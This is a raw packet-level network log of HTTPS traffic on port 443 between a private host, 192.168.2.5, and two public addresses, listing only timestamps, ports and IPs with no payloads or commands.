Dec 27, 2024 08:20:49.717243910 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:49.717448950 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:49.730274916 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.730362892 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.734827995 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735408068 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735563993 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735618114 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735630035 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735749960 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735761881 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735776901 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735795975 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735898018 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735924959 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735938072 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735950947 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.735961914 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.737704992 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.737901926 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.740171909 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.740351915 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.740454912 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.740468025 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.740478039 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.740561008 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.740571976 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.740736008 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.752253056 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.752312899 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.752405882 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.752504110 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.752513885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.753679991 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.756957054 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.757270098 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.757356882 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.757385969 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.757400036 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.757503033 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.757513046 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.757522106 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.759738922 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.774497032 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.797272921 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:49.797554970 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:49.798357010 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:49.798480988 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:49.799181938 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:49.806742907 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.825072050 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:50.069192886 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.082704067 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.097520113 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.103920937 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104064941 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104382992 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:50.104412079 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104468107 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104482889 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104589939 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104602098 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104614019 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104722023 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104742050 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104754925 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.104764938 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.105103970 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:50.130072117 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.131820917 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:50.155833960 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.156295061 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:50.156558990 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.156639099 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.156650066 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.156655073 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.157027006 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:50.157105923 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:50.451133966 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.526015997 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:50.962275982 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:50.962877035 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:50.969657898 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:50.969872952 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:50.975097895 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.288140059 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:51.289482117 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:51.289743900 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:51.290286064 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:51.293190956 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:51.294779062 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:51.294943094 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:51.295310974 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:51.298332930 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.305766106 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.305897951 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.305908918 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.305918932 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.306160927 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.309700966 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.332263947 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.632796049 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.662971020 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.663840055 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.731633902 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.731726885 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.731792927 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.731803894 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:51.732114077 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.732227087 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.758862972 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.829962969 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.868201971 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.868886948 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.869398117 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:51.940901041 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.039179087 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.039669037 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.039865971 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.080220938 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.157351017 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163145065 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163409948 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163465023 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163477898 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163522005 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163567066 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.163616896 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163628101 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163726091 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163738012 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163876057 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163932085 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.163944960 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164077997 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164088964 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164100885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164113045 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164203882 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164267063 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164280891 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.164364100 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.181859970 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.181893110 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.181946039 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.181960106 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.182115078 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.182204962 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.182209015 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.182250023 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.182260990 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.182374001 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.182388067 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.194787025 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.194797039 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195045948 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195091963 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195122004 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195133924 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195254087 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195302963 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195353031 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195364952 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195470095 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195482016 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.195621967 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.217081070 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217221022 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217236042 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217302084 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217314005 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217425108 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217453957 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217509985 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217520952 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217533112 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.217911959 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.228909016 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.228929996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.228974104 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.228986025 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.229087114 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.229104996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.229116917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.229130030 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.229269028 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.229281902 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.230781078 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.253611088 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253635883 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253650904 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253704071 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253772020 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253786087 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253798962 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253814936 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253963947 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.253977060 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.256484032 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.263269901 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.265501022 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265528917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265541077 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265599012 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265650988 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265662909 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265677929 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265837908 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265851021 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265916109 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.265925884 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.266983032 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.282131910 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282191992 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282267094 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282279968 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282407999 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282428026 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282440901 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282517910 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282530069 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282541990 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.282820940 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.290736914 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.290838957 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.290857077 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.290869951 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.290992975 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.291021109 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.291034937 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.291045904 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.291060925 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.291145086 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.293416023 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.293850899 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.307838917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.307910919 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.307924986 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.308020115 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.308032036 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.308043957 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.308057070 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.308140993 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.308233023 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.308249950 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.310925007 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.321291924 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.321312904 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.321324110 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.323426962 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.356818914 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.360745907 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.372984886 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.373029947 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.373040915 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398411036 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398499966 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398684025 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398806095 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398818016 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398891926 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398902893 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398912907 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.398922920 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403415918 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403616905 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403650045 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403740883 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403796911 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403808117 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403918982 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403929949 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.403934956 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.404059887 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.404073000 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.432806969 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.433316946 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.433499098 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.438489914 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438590050 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438641071 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438652992 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438734055 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438745975 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438756943 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438889027 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438899994 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.438911915 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.466573954 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.466664076 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.466825008 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.466836929 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.466872931 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.466885090 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.466897964 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.467015028 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.467029095 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.467130899 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.488518953 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.488620996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.488634109 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.488682032 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.488692999 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.526278019 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.559498072 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.592719078 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.605894089 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.614370108 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.642806053 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.650985003 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.690879107 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.703634977 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.706851006 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.707391024 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.707530022 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.707767963 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.707889080 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.707971096 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708046913 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708061934 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708100080 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708205938 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708221912 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708285093 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708297968 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.708353043 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.712366104 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.712991953 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:52.725387096 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725455999 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725467920 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725492001 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725557089 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725572109 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725584030 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725686073 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725740910 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.725754976 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.740896940 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:52.740910053 CET	443	62405	23.209.72.25	192.168.2.5
